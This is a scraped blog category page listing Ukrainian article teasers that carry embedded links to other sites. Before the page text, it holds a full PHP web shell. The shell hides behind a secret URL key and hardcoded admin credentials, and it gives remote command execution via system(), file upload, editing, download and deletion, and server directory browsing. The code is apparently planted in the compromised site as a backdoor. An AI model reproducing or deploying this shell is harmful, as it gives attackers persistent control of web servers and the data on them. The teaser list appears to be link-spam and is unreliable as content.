if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 46 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Екологічний спорт: тренування без шкоди для природи

    Екологічний спорт – це новий тренд, який поєднує фізичну активність з турботою про навколишнє середовище. У сучасному світі, де екологічні проблеми стають дедалі гострішими, важливо знайти способи підтримувати своє здоров’я, не завдаючи шкоди природі. Цей звіт розгляне концепцію екологічного спорту, https://arenajournal.net.ua його основні принципи, переваги, а також різноманітні види тренувань, які можна проводити з урахуванням…

    Click or not…

  • Редагування тексту: типові помилки та способи їх уникнути

    Редагування тексту є важливим етапом у процесі написання, оскільки воно дозволяє покращити якість матеріалу, https://digestlab.in.ua/ усунути помилки та зробити текст більш зрозумілим і привабливим для читача. Проте, під час редагування часто виникають типові помилки, які можуть знизити ефективність цього процесу. У цьому звіті ми розглянемо основні з них та способи їх уникнення. По-перше, однією з…

    Click or not…

  • Дитяча мода: стильні образи для найменших

    Дитяча мода – це не лише про одяг, а й про стиль, комфорт і самовираження. У сучасному світі, де мода має величезний вплив на всі аспекти життя, навіть найменші можуть бути в тренді. Батьки все частіше звертають увагу на стильні образи для своїх дітей, адже це не тільки підкреслює індивідуальність малюка, prettyexpert.net.ua а й формує…

    Click or not…

  • Водний баланс: як правильно пити воду під час тренувань

    Водний баланс є критично важливим аспектом здоров’я та фізичної активності. Під час тренувань організм втрачає велику кількість води через піт, athleteinsight.com.ua що може призвести до дегідратації, зниження продуктивності та навіть серйозних проблем зі здоров’ям. У цій статті ми розглянемо, як правильно пити воду під час тренувань, щоб забезпечити оптимальний водний баланс. Що таке водний баланс?…

    Click or not…

  • Цифровий кочівник: як поєднувати роботу та мандри

    В сучасному світі все більше людей обирають стиль життя цифрових кочівників, https://tourinsight.com.ua що дозволяє їм поєднувати роботу та подорожі. Цей термін охоплює професіоналів, які використовують технології для виконання своїх обов’язків з будь-якої точки світу, що відкриває нові можливості для самореалізації та особистісного розвитку. Основною перевагою життя цифрового кочівника є гнучкість. Завдяки розвитку інтернету та мобільних…

    Click or not…

  • Переваги групових тренувань та практичні поради для вас

    Якщо хочете досягти результатів швидше, обирайте спільні заняття з іншими. Дослідження показують, що участь у таких заходах підвищує мотивацію на 20%. Це зумовлено підтримкою товаришів, https://fashionjournal.net.ua/ коли разом стає легше долати труднощі. Спільна активність розвиває командний дух. Люди, що займаються в групах, покращують свої соціальні навички, що позитивно впливає на загальне якість життя. Вибирайте напрямок,…

    Click or not…

  • Огляд файтингів: від класики до сучасних хітів

    Файтинги — це один з найпопулярніших жанрів відеоігор, який завжди привертав увагу гравців завдяки своїй динамічності, емоційності та можливості змагатися з іншими. Від класичних аркад до сучасних хітів, funfocus.org.ua цей жанр пройшов довгий шлях, еволюціонуючи разом із технологіями та вподобаннями гравців. Початок історії файтингів можна віднести до 1980-х років, коли з’явилися перші аркадні автомати, такі…

    Click or not…

  • Основи дресирування собак: команди для початківців

    Дресирування собак є важливим етапом у вихованні вашого чотирилапого друга. Правильне навчання допомагає не лише встановити зв’язок між власником і собакою, але й забезпечує безпеку та комфорт у повсякденному житті. У цій статті ми розглянемо основні команди для початківців, https://vetfocus.org.ua які допоможуть вам у дресируванні вашого вихованця. Перш ніж почати дресирування, важливо підготуватися. Знайдіть спокійне…

    Click or not…

  • Важливість читання в сучасному світі: як зацікавити дитину

    У сучасному світі, де технології та цифрові засоби комунікації займають домінуюче місце, важливість читання не можна переоцінити. Читання є ключовим елементом розвитку дитини, https://housespace.com.ua оскільки воно не лише розвиває мовленнєві навички, але й стимулює уяву, критичне мислення та емоційний інтелект. В умовах інформаційного перевантаження, яке ми спостерігаємо сьогодні, вміння читати та аналізувати текст стає особливо…

    Click or not…

  • Інвестиції в готельний бізнес: перспективи та ризики

    Інвестиції в готельний бізнес є важливим аспектом розвитку туристичної інфраструктури та економіки в цілому. Готельний сектор пропонує значні можливості для прибутку, housingworld.org.ua проте він також супроводжується низкою ризиків, які інвестори повинні враховувати перед прийняттям рішення про вкладення капіталу. Перш за все, варто зазначити, що готельний бізнес має стабільний попит, особливо в регіонах з розвиненою туристичною…

    Click or not…